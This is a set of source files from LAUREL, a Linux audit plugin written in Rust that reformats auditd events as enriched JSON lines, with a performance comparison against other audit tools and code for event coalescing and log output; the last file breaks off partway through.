[edr-loadgen](https://github.com/hillu/edr-loadgen), was written for this task. ![CPU overhead under load](performance.svg) As can be seen in the graph CPU consumption by _auditd(8)_, its event dispatcher, and _LAUREL_ combined is about twice as high as with a plain _auditd(8)_ setup using the `log_format=ENRICHED` configuration option. We still see several oppurtunities for improvements. All measurements involving the Linux audit framework were conducted on an AWS EC2 t2.small instance running Amazon Linunx 2. Since Sysmon for Linux does not (yet?) support that distribution's kernel version, it was tested on Ubuntu 20.04. ## Notes 1. CPU usage for all user-space processes that are involved in collecting and emitting events was measured. In _LAUREL's_ case, this included _auditd_ and _audispd_. Sysmon for Linux writes its events through _systemd-journald(8)_, so its CPU usage also had to be taken into account. Both _go-audit_ and _auditbeat_ are replacements for _auditd_ that directly consume events from the kernel, so CPU usage had to be recorded only for one process. 2. The numbers for Sysmon for Linux should be taken with a grain of salt since the experiments conducted so far only took CPU usage into account that was directly attributed to user-space processes. We are open to suggestions on how to compare the kernel/user interface for the Linux audit framework to the eBPF probes used by Sysmon. 3. The log file produced by [_go-audit_](https://github.com/slackhq/go-audit) is JSONL-based which might lead to the conclusion that replacing _auditd_ with _go-audit_ might be a good choice. However _go-audit_ solves only one of the log format quirks described in [Practical _auditd(8)_ problems](practical-auditd-problems.md) and does not even perform all of the translations that _auditd_ does when configured with `log_format=ENRICHED`. ## Raw data The data is can be found in the `contrib/performacne-data` subdirectory. laurel-0.5.6/performance.svg000064400000000000000000000513211046102023000141440ustar 00000000000000 Gnuplot Produced by GNUPLOT 5.4 patchlevel 1 0 10 20 30 40 50 60 70 0 200 400 600 800 1000 1200 1400 1600 1800 % cpu exec/s auditd 2.8.1 (RAW) auditd 2.8.1 (RAW) auditd 2.8.1 (ENRICHED) auditd 2.8.1 (ENRICHED) LAUREL 0.1.3 LAUREL 0.1.3 go-audit 1.0.0 go-audit 1.0.0 auditbeat 7.12.0 auditbeat 7.12.0 Sysmon/Linux 1.0.0 Sysmon/Linux 1.0.0 Sysmon/Linux commit 3f3e9820 Sysmon/Linux commit 3f3e9820 laurel-0.5.6/src/bin/laurel/main.rs000064400000000000000000000400631046102023000152400ustar 00000000000000//! Laurel is an "audisp" plugin plugins that consume data fed by the //! the Linux Audit daemon and reformats events as JSON lines. use getopts::Options; use std::env; use std::error::Error as StdError; use std::fs; use std::io::{self, BufRead, BufReader, BufWriter, Read, Write}; use std::ops::AddAssign; use std::os::unix::fs::PermissionsExt; use std::os::unix::io::FromRawFd; use std::os::unix::net::UnixStream; use std::path::Path; use std::sync::{ atomic::{AtomicBool, Ordering}, Arc, }; use std::time::{Duration, SystemTime}; use anyhow::{anyhow, Context}; use nix::unistd::{chown, execve, Uid, User}; #[cfg(target_os = "linux")] use nix::unistd::{setresgid, setresuid}; #[cfg(target_os = "linux")] use caps::{securebits::set_keepcaps, CapSet, Capability}; use serde::Serialize; use laurel::coalesce::Coalesce; use laurel::config::{Config, Input, Logfile}; use laurel::logger; use laurel::rotate::FileRotate; use laurel::types::Event; #[derive(Default, Serialize)] struct Stats { lines: u64, events: u64, errors: u64, } // Overload the += operator. impl AddAssign for Stats { fn add_assign(&mut self, other: Self) { *self = Self { lines: self.lines + other.lines, events: self.events + other.events, errors: self.errors + other.errors, }; } } /// Assume non-privileged user while retaining selected capabilities: /// /// - CAP_DAC_READ_SEARCH is required for reading arbitrary files, /// e.g. for calculating file hashes /// - CAP_DAC_READ_SEARCH+CAP_SYS_PTRACE are required for accessing /// environment variables from arbitrary processes /// (/proc/$PID/environ). #[cfg(target_os = "linux")] fn drop_privileges(runas_user: &User) -> anyhow::Result<()> { set_keepcaps(true)?; let uid = runas_user.uid; let gid = runas_user.gid; setresgid(gid, gid, gid).with_context(|| format!("setresgid({gid})"))?; setresuid(uid, uid, uid).with_context(|| format!("setresuid({uid})"))?; #[cfg(feature = "procfs")] { let mut capabilities = std::collections::HashSet::new(); capabilities.insert(Capability::CAP_SYS_PTRACE); capabilities.insert(Capability::CAP_DAC_READ_SEARCH); caps::set(None, CapSet::Permitted, &capabilities).context("set permitted capabilities")?; caps::set(None, CapSet::Effective, &capabilities).context("set effective capabilities")?; caps::set(None, CapSet::Inheritable, &capabilities) .context("set inheritable capabilities")?; } set_keepcaps(false)?; Ok(()) } struct Logger { prefix: Option, output: BufWriter>, } impl Logger { fn log(&mut self, message: S) { if let Some(prefix) = &self.prefix { self.output.write_all(prefix.as_bytes()).unwrap(); } serde_json::to_writer(&mut self.output, &message).unwrap(); self.output.write_all(b"\n").unwrap(); self.output.flush().unwrap(); } fn new(def: &Logfile, dir: &Path) -> anyhow::Result { match &def.file { p if p.as_os_str() == "-" => Ok(Logger { prefix: def.line_prefix.clone(), output: BufWriter::new(Box::new(io::stdout())), }), p if p.has_root() && p.parent().is_none() => Err(anyhow!( "invalid file directory={} file={}", dir.to_string_lossy(), p.to_string_lossy() )), p => { let mut filename = dir.to_path_buf(); filename.push(p); let mut rot = FileRotate::new(filename); for user in &def.clone().users.unwrap_or_default() { rot = rot.with_uid( User::from_name(user)? .ok_or_else(|| anyhow!("user {user} not found"))? .uid, ); } if let Some(generations) = &def.generations { rot = rot.with_generations(*generations); } if let Some(filesize) = &def.size { rot = rot.with_filesize(*filesize); } Ok(Logger { prefix: def.line_prefix.clone(), output: BufWriter::new(Box::new(rot)), }) } } } } fn run_app() -> Result<(), Box> { let args: Vec = env::args().collect(); let mut opts = Options::new(); opts.optopt("c", "config", "Configuration file", "FILE"); opts.optflag("d", "dry-run", "Only parse configuration and exit"); opts.optflag("h", "help", "Print short help text and exit"); opts.optflag("v", "version", "Print version and exit"); let matches = opts.parse(&args[1..])?; if matches.opt_present("h") { println!("{}", opts.usage(&args[0])); return Ok(()); } if matches.opt_present("v") { println!("{}", laurel::VERSION); return Ok(()); } let config: Config = match matches.opt_str("c") { Some(f_name) => { if fs::metadata(&f_name) .with_context(|| format!("stat: {f_name}"))? .permissions() .mode() & 0o002 != 0 { return Err(format!("Config file {} must not be world-writable", f_name).into()); } let lines = fs::read(&f_name).with_context(|| format!("read(: {f_name}"))?; toml::from_str(&String::from_utf8(lines).with_context(|| format!("parse: {f_name}"))?) .with_context(|| format!("parse {f_name}"))? } None => Config::default(), }; // Set up input before dropping privileges. let raw_input: Box = match &config.input { // safety: File descriptor 0 is readable. (If it isn't, the // first read will cause the appropriate error.) We don't use // file descriptor 0 anywhere else. Input::Stdin => Box::new(unsafe { std::fs::File::from_raw_fd(0) }), Input::Unix(path) => Box::new( UnixStream::connect(path) .with_context(|| format!("connect: {}", path.to_string_lossy()))?, ), }; // std::io::Stdin's buffer is only 8KB, so we construct our own. // 1MB ought to be enough for anybody. let mut input = BufReader::with_capacity(1 << 20, raw_input); let runas_user = match config.user { Some(ref username) => { User::from_name(username)?.ok_or_else(|| format!("user {} not found", username))? } None => { let uid = Uid::effective(); User::from_uid(uid)?.ok_or_else(|| format!("uid {} not found", uid))? } }; if matches.opt_present("d") { println!("Laurel {}: Config ok.", laurel::VERSION); return Ok(()); } let dir = config .directory .clone() .unwrap_or_else(|| Path::new(".").to_path_buf()); if dir.exists() { if !dir.is_dir() { return Err(format!("{} is not a directory", dir.to_string_lossy()).into()); } if dir .metadata() .with_context(|| format!("stat {}", dir.to_string_lossy()))? .permissions() .mode() & 0o002 != 0 { log::warn!( "Base directory {} must not be world-wirtable", dir.to_string_lossy() ); } } else { fs::create_dir_all(&dir) .with_context(|| format!("create_dir: {}", dir.to_string_lossy()))?; } chown(&dir, Some(runas_user.uid), Some(runas_user.gid)) .with_context(|| format!("chown: {}", dir.to_string_lossy()))?; fs::set_permissions(&dir, PermissionsExt::from_mode(0o755)) .with_context(|| format!("chmod: {}", dir.to_string_lossy()))?; let mut debug_logger = if let Some(l) = &config.debug.log { Some(Logger::new(l, &dir).context("can't create debug logger")?) } else { None }; let mut error_logger = if let Some(def) = &config.debug.parse_error_log { let mut filename = dir.clone(); filename.push(&def.file); let mut rot = FileRotate::new(filename); for user in &def.clone().users.unwrap_or_default() { rot = rot.with_uid( User::from_name(user)? .ok_or_else(|| format!("user {} not found", &user))? .uid, ); } if let Some(generations) = &def.generations { rot = rot.with_generations(*generations); } if let Some(filesize) = &def.size { rot = rot.with_filesize(*filesize); } Some(rot) } else { None }; if !Uid::effective().is_root() { log::warn!("Not dropping privileges -- not running as root"); } else if runas_user.uid.is_root() { log::warn!("Not dropping privileges -- no user configured"); } else { #[cfg(target_os = "linux")] drop_privileges(&runas_user)?; } #[cfg(target_os = "linux")] if let Err(e) = caps::clear(None, CapSet::Ambient) { log::warn!("could not set ambient capabilities: {}", e); } // Initial setup is done at this point. log::info!("Started {} running version {}", &args[0], laurel::VERSION); log::info!( "Running with EUID {} using config {}", Uid::effective().as_raw(), &config ); let mut coalesce; // The two variants produce different types, presumably because // they capture different environments. let emit_fn_drop; let emit_fn_log; let mut logger = Logger::new(&config.auditlog, &dir).context("can't create audit logger")?; if let laurel::config::FilterAction::Log = config.filter.filter_action { log::info!("Logging filtered audit records"); let mut filter_logger = Logger::new(&config.filterlog, &dir).context("can't create filterlog logger")?; emit_fn_log = move |e: &Event| { if e.filter { filter_logger.log(e) } else { logger.log(e) } }; coalesce = Coalesce::new(emit_fn_log); } else { log::info!("Dropping filtered audit records"); emit_fn_drop = move |e: &Event| { if !e.filter { logger.log(e) } }; coalesce = Coalesce::new(emit_fn_drop); } coalesce.settings = config.make_coalesce_settings(); coalesce.initialize()?; let mut line: Vec = Vec::new(); let mut stats = Stats::default(); let mut overall_stats = Stats::default(); let statusreport_period = config.statusreport_period.map(Duration::from_secs); let mut statusreport_last_t = SystemTime::now(); let dump_state_period = config.debug.dump_state_period.map(Duration::from_secs); let mut dump_state_last_t = SystemTime::now(); let hup = Arc::new(AtomicBool::new(false)); signal_hook::flag::register(signal_hook::consts::SIGHUP, Arc::clone(&hup))?; loop { if hup.load(Ordering::Relaxed) { let buf = input.buffer(); let lines = buf.split_inclusive(|c| *c == b'\n'); log::info!("Got SIGHUP."); for line in lines { if let Err(e) = coalesce.process_line(line.to_vec()) { if let Some(ref mut l) = error_logger { l.write_all(line) .and_then(|_| l.flush()) .context("write log")?; } let line = String::from_utf8_lossy(line).replace('\n', ""); log::error!("Error {} processing msg: {}", e, &line); } } coalesce.flush(); log::info!("Restarting..."); use std::ffi::CString; let argv: Vec = env::args().map(|a| CString::new(a).unwrap()).collect(); let env: Vec = env::vars() .map(|(k, v)| CString::new(format!("{}={}", k, v)).unwrap()) .collect(); #[cfg(target_os = "linux")] { let mut capabilities = std::collections::HashSet::new(); capabilities.insert(Capability::CAP_SYS_PTRACE); capabilities.insert(Capability::CAP_DAC_READ_SEARCH); if let Err(e) = caps::set(None, CapSet::Ambient, &capabilities) { log::warn!("could not set ambient capabilities: {}", e); } } execve(&argv[0], &argv, &env)?; } line.clear(); if input .read_until(b'\n', &mut line) .context("read from stdin")? == 0 { break; } stats.lines += 1; match coalesce.process_line(line.clone()) { Ok(()) => (), Err(e) => { stats.errors += 1; if let Some(ref mut l) = error_logger { l.write_all(&line) .and_then(|_| l.flush()) .context("write log")?; } let line = String::from_utf8_lossy(&line).replace('\n', ""); log::error!("Error {} processing msg: {}", e, &line); continue; } }; // Output status information about Laurel every "statusreport_period_t" time (configurable) if let Some(statusreport_period_t) = statusreport_period { if statusreport_period_t.as_secs() > 0 && statusreport_last_t.elapsed()? >= statusreport_period_t { log::info!("Laurel version {}", laurel::VERSION); log::info!( "Parsing stats (until now): processed {} lines {} events with {} errors in total", &stats.lines, &stats.events, &stats.errors ); log::info!( "Running with EUID {} using config {}", Uid::effective().as_raw(), &config ); overall_stats += stats; stats = Stats::default(); statusreport_last_t = SystemTime::now(); } } if let (Some(dl), Some(p)) = (&mut debug_logger, &dump_state_period) { if dump_state_last_t.elapsed()? >= *p { coalesce .dump_state(&mut dl.output) // .context("dump state")?; .map_err(|e| format!("dump state: {}", e))?; dump_state_last_t = SystemTime::now(); } } } // If periodical reports were enabled, stats only contains temporary statistics. if let Some(statusreport_period_t) = statusreport_period { if statusreport_period_t.as_secs() > 0 { stats = overall_stats; } } log::info!( "Stopped {} processed {} lines {} events with {} errors in total", &args[0], &stats.lines, &stats.events, &stats.errors, ); Ok(()) } pub fn main() { log::set_boxed_logger(Box::::default()).unwrap(); #[cfg(debug_assertions)] log::set_max_level(log::LevelFilter::Debug); #[cfg(not(debug_assertions))] log::set_max_level(log::LevelFilter::Info); { std::panic::set_hook(Box::new(move |panic_info| { let payload = panic_info.payload(); let message = if let Some(s) = payload.downcast_ref::<&str>() { s } else if let Some(s) = payload.downcast_ref::() { s } else { "(unknown error)" }; let location = match panic_info.location() { Some(l) => format!("{}:{},{}", l.file(), l.line(), l.column()), None => "(unknown)".to_string(), }; let e = format!("fatal error '{}' at {}", &message, &location); log::error!("{}", &e); })); } match run_app() { Ok(_) => (), Err(e) => { let e = e.to_string(); log::error!("{}", &e); std::process::abort(); } }; } laurel-0.5.6/src/bin/laurel2audit/main.rs000064400000000000000000000102631046102023000163500ustar 00000000000000use indexmap::IndexMap; use serde::Deserialize; use std::io::BufRead; #[derive(Deserialize)] #[serde(untagged)] enum EventValues { Single(Record), Multi(Vec), } #[derive(Deserialize, Default)] struct Record(IndexMap); #[derive(Deserialize)] struct Event { #[serde(rename = "ID")] id: String, #[serde(rename = "NODE")] node: Option, #[serde(flatten)] events: IndexMap, } // copy form parser.rs #[inline(always)] fn is_safe_chr(c: u8) -> bool { c == b'!' || (b'#'..=b'~').contains(&c) } fn print_record(typ: &str, r: &Record) { use serde_json::Value; for (n, (k, v)) in r.0.iter().enumerate() { if n == 4 && typ == "SYSCALL" { if let Some(Value::Array(a)) = r.0.get("ARGV") { for (n, v) in a.iter().enumerate() { if let Value::String(s) = v { if !s.starts_with("0x") { continue; } print!(" a{n}={}", &s[2..]); } } } } if k == &k.to_uppercase() { continue; } print!(" {k}="); match v { Value::String(s) => { let b: &[u8] = s.as_bytes(); if b.iter().cloned().all(is_safe_chr) { if (b.starts_with(b"0x") || b.starts_with(b"0o")) && ["SYSCALL", "PATH"].contains(&typ) { print!("{}", &s[2..]); } else { print!("{v}"); } } else { b.iter().for_each(|c| print!("{:02X}", c)); } } Value::Array(_) => { todo!() } Value::Object(_) => { todo!() } _ => print!("{v}"), }; } println!(); } fn main() { let stdin = std::io::stdin().lock(); for line in stdin.lines() { let line = match line { Ok(l) => l, Err(e) => { println!("error: {e}"); continue; } }; let ev: Event = match serde_json::from_str(&line) { Ok(v) => v, Err(e) => { println!("error: {e}"); continue; } }; let msgid = ev.id; let prefix = match ev.node { Some(node) => format!("node={node} msg=audit({msgid}): "), None => format!("msg=audit({msgid}):"), }; for (typ, body) in ev.events.iter() { match (typ.as_str(), body) { ("PARENT_INFO", _) => continue, ("EXECVE", EventValues::Single(r)) => { let mut r2 = Record::default(); match r.0.get("argc") { None => continue, Some(n) => r2.0.insert("argc".into(), n.clone()), }; if let Some(serde_json::Value::String(s)) = r.0.get("ARGV_STR") { for (n, arg) in s.split(' ').enumerate() { r2.0.insert(format!("a{}", n), serde_json::Value::String(arg.into())); } } else if let Some(serde_json::Value::Array(a)) = r.0.get("ARGV") { for (n, arg) in a.iter().enumerate() { r2.0.insert(format!("a{}", n), arg.clone()); } } else { continue; } print!("type={typ} {prefix}"); print_record(typ, &r2); } (_, EventValues::Single(r)) => { print!("type={typ} {prefix}"); print_record(typ, r); } (_, EventValues::Multi(rs)) => { for r in rs { print!("type={typ} {prefix}"); print_record(typ, r); } } }; } println!("type=EOE {prefix} "); } } laurel-0.5.6/src/coalesce.rs000064400000000000000000001720151046102023000140410ustar 00000000000000use std::collections::{BTreeMap, HashSet}; use std::error::Error; use std::io::Write; use std::ops::Range; use std::time::{SystemTime, UNIX_EPOCH}; use faster_hex::hex_string; use serde_json::json; use crate::constants::{msg_type::*, ARCH_NAMES, SYSCALL_NAMES}; use crate::label_matcher::LabelMatcher; use crate::parser::{parse, ParseError}; use crate::proc::{ContainerInfo, ProcTable, Process, ProcessKey}; #[cfg(all(feature = "procfs", target_os = "linux"))] use crate::procfs; #[cfg(target_os = "linux")] use crate::sockaddr::SocketAddr; use crate::types::*; use crate::userdb::UserDB; use thiserror::Error; #[derive(Clone)] pub struct Settings { /// Generate ARGV and ARGV_STR from EXECVE pub execve_argv_list: bool, pub execve_argv_string: bool, pub execve_env: HashSet>, pub execve_argv_limit_bytes: Option, pub enrich_container: bool, pub enrich_pid: bool, pub enrich_parent_info: bool, pub enrich_script: bool, pub proc_label_keys: HashSet>, pub proc_propagate_labels: HashSet>, pub translate_universal: bool, pub translate_userdb: bool, pub drop_translated: bool, pub label_exe: Option, pub unlabel_exe: Option, pub label_script: Option, pub unlabel_script: Option, pub filter_keys: HashSet>, pub filter_labels: HashSet>, pub filter_null_keys: bool, pub filter_raw_lines: regex::bytes::RegexSet, } impl Default for Settings { fn default() -> Self { Settings { execve_argv_list: true, execve_argv_string: false, execve_env: HashSet::new(), execve_argv_limit_bytes: None, enrich_container: false, enrich_pid: true, enrich_parent_info: false, enrich_script: true, proc_label_keys: HashSet::new(), proc_propagate_labels: HashSet::new(), translate_universal: false, translate_userdb: false, drop_translated: false, label_exe: None, unlabel_exe: None, label_script: None, unlabel_script: None, filter_keys: HashSet::new(), filter_labels: HashSet::new(), filter_null_keys: false, filter_raw_lines: regex::bytes::RegexSet::empty(), } } } #[derive(Debug, Error)] pub enum CoalesceError { #[error("{0}")] Parse(ParseError), #[error("duplicate event id {0}")] DuplicateEvent(EventID), #[error("Event id {0} for EOE marker not found")] SpuriousEOE(EventID), } /// Coalesce collects Audit Records from individual lines and assembles them to Events pub struct Coalesce<'a> { /// Events that are being collected/processed inflight: BTreeMap<(Option>, EventID), Event>, /// Event IDs that have been recently processed done: HashSet<(Option>, EventID)>, /// Timestamp for next cleanup next_expire: Option, /// Process table built from observing process-related events processes: ProcTable, /// Output function emit_fn: Box, /// Creadential cache userdb: UserDB, pub settings: Settings, } const EXPIRE_PERIOD: u64 = 1_000; const EXPIRE_INFLIGHT_TIMEOUT: u64 = 5_000; const EXPIRE_DONE_TIMEOUT: u64 = 120_000; /// generate translation of SocketAddr enum to a format similar to /// what auditd log_format=ENRICHED produces #[cfg(target_os = "linux")] fn translate_socketaddr(rv: &mut Record, sa: SocketAddr) -> Value { let f = SimpleKey::Literal("saddr_fam"); let m = match sa { SocketAddr::Local(sa) => { vec![ (f, SimpleValue::Str(rv.put("local"))), ( SimpleKey::Literal("path"), SimpleValue::Str(rv.put(&sa.path)), ), ] } SocketAddr::Inet(sa) => { vec![ (f, SimpleValue::Str(rv.put("inet"))), ( SimpleKey::Literal("addr"), SimpleValue::Str(rv.put(format!("{}", sa.ip()))), ), ( SimpleKey::Literal("port"), SimpleValue::Number(Number::Dec(sa.port().into())), ), ] } SocketAddr::AX25(sa) => { vec![ (f, SimpleValue::Str(rv.put("ax25"))), ( SimpleKey::Literal("call"), SimpleValue::Str(rv.put(sa.call)), ), ] } SocketAddr::ATMPVC(sa) => { vec![ (f, SimpleValue::Str(rv.put("atmpvc"))), ( SimpleKey::Literal("itf"), SimpleValue::Number(Number::Dec(sa.itf.into())), ), ( SimpleKey::Literal("vpi"), SimpleValue::Number(Number::Dec(sa.vpi.into())), ), ( SimpleKey::Literal("vci"), SimpleValue::Number(Number::Dec(sa.vci.into())), ), ] } SocketAddr::X25(sa) => { vec![ (f, SimpleValue::Str(rv.put("x25"))), ( SimpleKey::Literal("addr"), SimpleValue::Str(rv.put(sa.address)), ), ] } SocketAddr::IPX(sa) => { vec![ (f, SimpleValue::Str(rv.put("ipx"))), ( SimpleKey::Literal("network"), SimpleValue::Number(Number::Hex(sa.network.into())), ), ( SimpleKey::Literal("node"), SimpleValue::Str(rv.put(format!( "{:02x}{:02x}{:02x}{:02x}{:02x}{:02x}", sa.node[0], sa.node[1], sa.node[2], sa.node[3], sa.node[4], sa.node[5] ))), ), ( SimpleKey::Literal("port"), SimpleValue::Number(Number::Dec(sa.port.into())), ), ( SimpleKey::Literal("type"), SimpleValue::Number(Number::Dec(sa.typ.into())), ), ] } SocketAddr::Inet6(sa) => { vec![ (f, SimpleValue::Str(rv.put("inet6"))), ( SimpleKey::Literal("addr"), SimpleValue::Str(rv.put(format!("{}", sa.ip()))), ), ( SimpleKey::Literal("port"), SimpleValue::Number(Number::Dec(sa.port().into())), ), ( SimpleKey::Literal("flowinfo"), SimpleValue::Number(Number::Dec(sa.flowinfo().into())), ), ( SimpleKey::Literal("scope_id"), SimpleValue::Number(Number::Dec(sa.scope_id().into())), ), ] } SocketAddr::Netlink(sa) => { vec![ (f, SimpleValue::Str(rv.put("netlink"))), ( SimpleKey::Literal("pid"), SimpleValue::Number(Number::Dec(sa.pid.into())), ), ( SimpleKey::Literal("groups"), SimpleValue::Number(Number::Hex(sa.groups.into())), ), ] } SocketAddr::VM(sa) => { vec![ (f, SimpleValue::Str(rv.put("vsock"))), ( SimpleKey::Literal("cid"), SimpleValue::Number(Number::Dec(sa.cid.into())), ), ( SimpleKey::Literal("port"), SimpleValue::Number(Number::Dec(sa.port.into())), ), ] } }; Value::Map(m) } /// Returns a script name from path if exe's dev / inode don't match /// /// This seems to work with Docker containers but not with Podman. /// The executable's device and inode are inspected throguh the /// /proc//root/ symlink. This may fail for /// /// - very short-lived processes /// - container setups where the container's filesystem is constructed /// using fuse-overlayfs (observed with /// podman+fuse-overlayfs/1.4.0-1 on Debian/buster). /// /// As an extra sanity check, exe is compared with normalized /// PATH.name. If they are equal, no script is returned. #[cfg(all(feature = "procfs", target_os = "linux"))] fn path_script_name(path: &Record, pid: u32, ppid: u32, cwd: &[u8], exe: &[u8]) -> Option { use std::{ ffi::OsStr, os::unix::{ffi::OsStrExt, fs::MetadataExt}, path::{Component, Path, PathBuf}, }; let meta = procfs::pid_path_metadata(pid, exe) .or_else(|_| procfs::pid_path_metadata(ppid, exe)) .ok()?; let (e_dev, e_inode) = (meta.dev(), meta.ino()); let mut p_dev: Option = None; let mut p_inode: Option = None; let mut name = None; for (k, v) in path { if k == "name" { if let Value::Str(r, _) = v.value { let mut pb = PathBuf::new(); let s = Path::new(OsStr::from_bytes(&path.raw[r.clone()])); if !s.is_absolute() { pb.push(OsStr::from_bytes(cwd)); } pb.push(s); let mut tpb = PathBuf::new(); // We can't just use PathBuf::canonicalize here // because we don't want symlinks to be rersolved. for c in pb.components() { match c { Component::RootDir if tpb.has_root() => {} Component::CurDir => {} Component::ParentDir => { tpb.pop(); } _ => tpb.push(c), } } name = Some(NVec::from(tpb.as_os_str().as_bytes())) } } else if k == "inode" { if let Value::Number(Number::Dec(i)) = v.value { p_inode = Some(*i as _); } } else if k == "dev" { if let Value::Str(r, _) = v.value { let mut d = 0; let value = String::from_utf8_lossy(&v.raw[r.clone()]); for p in value.split(|c| c == ':') { if let Ok(parsed) = u64::from_str_radix(p, 16) { d <<= 8; d |= parsed; } } p_dev = Some(d as _); } break; } } match (p_dev, p_inode, name) { (Some(p_dev), Some(p_inode), _) if p_dev == e_dev && p_inode == e_inode => None, (Some(_), Some(_), Some(name)) if name != exe => Some(name), _ => None, } } /// Create an enriched pid entry in rv. fn add_record_procinfo(rv: &mut Record, name: &[u8], proc: &Process, include_names: bool) { let key = Key::NameTranslated(name.into()); let mut m = Vec::with_capacity(4); match &proc.key { ProcessKey::Event(id) => { m.push(( SimpleKey::Literal("EVENT_ID"), SimpleValue::Str(rv.put(format!("{id}"))), )); } ProcessKey::Observed { time, pid: _ } => { let (sec, msec) = (time / 1000, time % 1000); m.push(( SimpleKey::Literal("START_TIME"), SimpleValue::Str(rv.put(format!("{sec}.{msec:03}"))), )); } } if include_names { if let Some(comm) = &proc.comm { m.push((SimpleKey::Literal("comm"), SimpleValue::Str(rv.put(comm)))); } if let Some(exe) = &proc.exe { m.push((SimpleKey::Literal("exe"), SimpleValue::Str(rv.put(exe)))); } if proc.ppid != 0 { m.push(( SimpleKey::Literal("ppid"), SimpleValue::Number(Number::Dec(proc.ppid.into())), )); } } rv.elems.push((key, Value::Map(m))); } impl<'a> Coalesce<'a> { /// Creates a `Coalsesce`. `emit_fn` is the function that takes /// completed events. pub fn new(emit_fn: F) -> Self { Coalesce { inflight: BTreeMap::new(), done: HashSet::new(), next_expire: None, processes: ProcTable::default(), emit_fn: Box::new(emit_fn), userdb: UserDB::default(), settings: Settings::default(), } } pub fn initialize(&mut self) -> Result<(), Box> { if self.settings.translate_userdb { self.userdb.populate(); } self.processes = ProcTable::from_proc( self.settings.label_exe.clone(), &self.settings.proc_propagate_labels, ) .map_err(|e| format!("populate proc table: {}", e))?; Ok(()) } /// Flush out events /// /// Called every EXPIRE_PERIOD ms and when Coalesce is destroyed. fn expire_inflight(&mut self, now: u64) { let node_ids = self .inflight .keys() .filter(|(_, id)| id.timestamp + EXPIRE_INFLIGHT_TIMEOUT < now) .cloned() .collect::>(); for node_id in node_ids { if let Some(event) = self.inflight.remove(&node_id) { self.emit_event(event); } } } fn expire_done(&mut self, now: u64) { let node_ids = self .done .iter() .filter(|(_, id)| id.timestamp + EXPIRE_DONE_TIMEOUT < now) .cloned() .collect::>(); for node_id in node_ids { self.done.remove(&node_id); } } /// Translates UID, GID and variants, e.g.: /// - auid=1000 -> AUID="user" /// - ogid=1000 -> OGID="user" /// IDs that can't be resolved are translated into "unknown(n)". /// `(uint32)-1` is translated into "unset". #[inline(always)] fn translate_userdb(&mut self, rv: &mut Record, k: &Key, v: &Value) -> Option<(Key, Value)> { if !self.settings.translate_userdb { return None; } match k { Key::NameUID(r) => { if let Value::Number(Number::Dec(d)) = v { let translated = if *d == 0xffffffff { "unset".to_string() } else if let Some(user) = self.userdb.get_user(*d as u32) { user } else { format!("unknown({})", d) }; return Some(( Key::NameTranslated(r.clone()), Value::Str(rv.put(translated), Quote::Double), )); } } Key::NameGID(r) => { if let Value::Number(Number::Dec(d)) = v { let translated = if *d == 0xffffffff { "unset".to_string() } else if let Some(group) = self.userdb.get_group(*d as u32) { group } else { format!("unknown({})", d) }; return Some(( Key::NameTranslated(r.clone()), Value::Str(rv.put(translated), Quote::Double), )); } } _ => (), }; None } /// Enrich "pid" entries using `ppid`, `exe`, `ID` (generating /// event id) from the shadow process table fn enrich_pid(&mut self, rv: &mut Record, k: &Key, v: &Value) { if !self.settings.enrich_pid { return; } let name = match &k { Key::Common(Common::Pid) => &b"pid"[..], Key::Common(Common::PPid) => &b"ppid"[..], Key::Name(r) if r.ends_with(b"pid") => r.as_ref(), _ => return, }; if let Value::Number(Number::Dec(pid)) = v { if let Some(proc) = self.processes.get_or_retrieve(*pid as _) { add_record_procinfo(rv, name, proc, true) } } } fn enrich_generic(&mut self, rv: &mut Record) { let mut nrv = Record::default(); for (k, v) in &rv.elems { if let Some((k, v)) = self.translate_userdb(&mut nrv, k, v) { nrv.elems.push((k, v)); if self.settings.drop_translated { continue; } } else { self.enrich_pid(&mut nrv, k, v); } } rv.extend(nrv); } /// Rewrite event to normal form /// /// This function /// - turns SYSCALL/a* fields into a single an ARGV list /// - turns EXECVE/a* and EXECVE/a*[*] fields into an ARGV list /// - turns PROCTITLE/proctitle into a (abbreviated) ARGV list /// - translates *uid, *gid, syscall, arch, sockaddr if configured to do so. /// - enriches PID and container enrichment if configured to do so. /// - collects environment variables for EXECVE events /// - registers process in shadow process table for EXECVE events fn transform_event(&mut self, ev: &mut Event) { let mut arch: Option = None; let mut syscall: Option = None; let mut key: Option = None; let mut arch_name: Option<&'static str> = None; let mut syscall_name: Option<&'static str> = None; let mut syscall_is_exec = false; let mut current_process: Option = None; let mut parent: Option = None; if let Some(EventValues::Single(rv)) = ev.body.get_mut(&SYSCALL) { let mut proc = Process::default(); let mut extra = 0; if self.settings.translate_universal { extra += 16 // syscall, arch } if self.settings.translate_userdb { extra += 72 // *uid, *gid: 9 entries. } rv.raw.reserve(extra); let mut new = Vec::with_capacity(rv.elems.len() - 3); let mut nrv = Record::default(); let mut argv = Vec::with_capacity(4); for (k, v) in &rv.elems { match (k, v) { (Key::Arg(_, None), _) => { // FIXME: check argv length argv.push(v.clone()); continue; } (Key::ArgLen(_), _) => continue, (Key::Common(c), Value::Number(n)) => match (c, n) { (Common::Arch, Number::Hex(n)) if arch.is_none() => { arch = Some(*n as u32); if self.settings.translate_universal && self.settings.drop_translated { continue; } } (Common::Syscall, Number::Dec(n)) if syscall.is_none() => { syscall = Some(*n as u32); if self.settings.translate_universal && self.settings.drop_translated { continue; } } (Common::Pid, Number::Dec(n)) => proc.pid = *n as u32, (Common::PPid, Number::Dec(n)) => proc.ppid = *n as u32, _ => (), }, (Key::Common(c), Value::Str(r, _)) => match c { Common::Comm => proc.comm = Some(rv.raw[r.clone()].into()), Common::Exe => proc.exe = Some(rv.raw[r.clone()].into()), Common::Key => key = Some(rv.raw[r.clone()].into()), _ => (), }, (Key::Name(name), Value::Str(_, _)) => { match name.as_ref() { b"ARCH" | b"SYSCALL" if self.settings.translate_universal => continue, _ => (), }; } _ => { if let Some((k, v)) = self.translate_userdb(&mut nrv, k, v) { nrv.elems.push((k, v)); if self.settings.drop_translated { continue; } } } }; new.push((k.clone(), v.clone())); } new.push((Key::Literal("ARGV"), Value::List(argv))); rv.elems = new; rv.extend(nrv); if let (Some(arch), Some(syscall)) = (arch, syscall) { if let Some(an) = ARCH_NAMES.get(&arch) { arch_name = Some(*an); if let Some(sn) = SYSCALL_NAMES .get(*an) .and_then(|syscall_tbl| syscall_tbl.get(&syscall)) { syscall_name = Some(sn); // If we are processing an execve or execveat // syscall, we'll create a new Process // instance, assuming that the current process // table entry for ppid holds the parent. // // For non-execve calls, we inspect the // process table for the current pid entry. If // the entry and the syscall do not match, we // assume that we are dealing with a new // process and create a new Process instance. // // If the entry and the syscall match, we keep // using (and possibly updating) the existing // 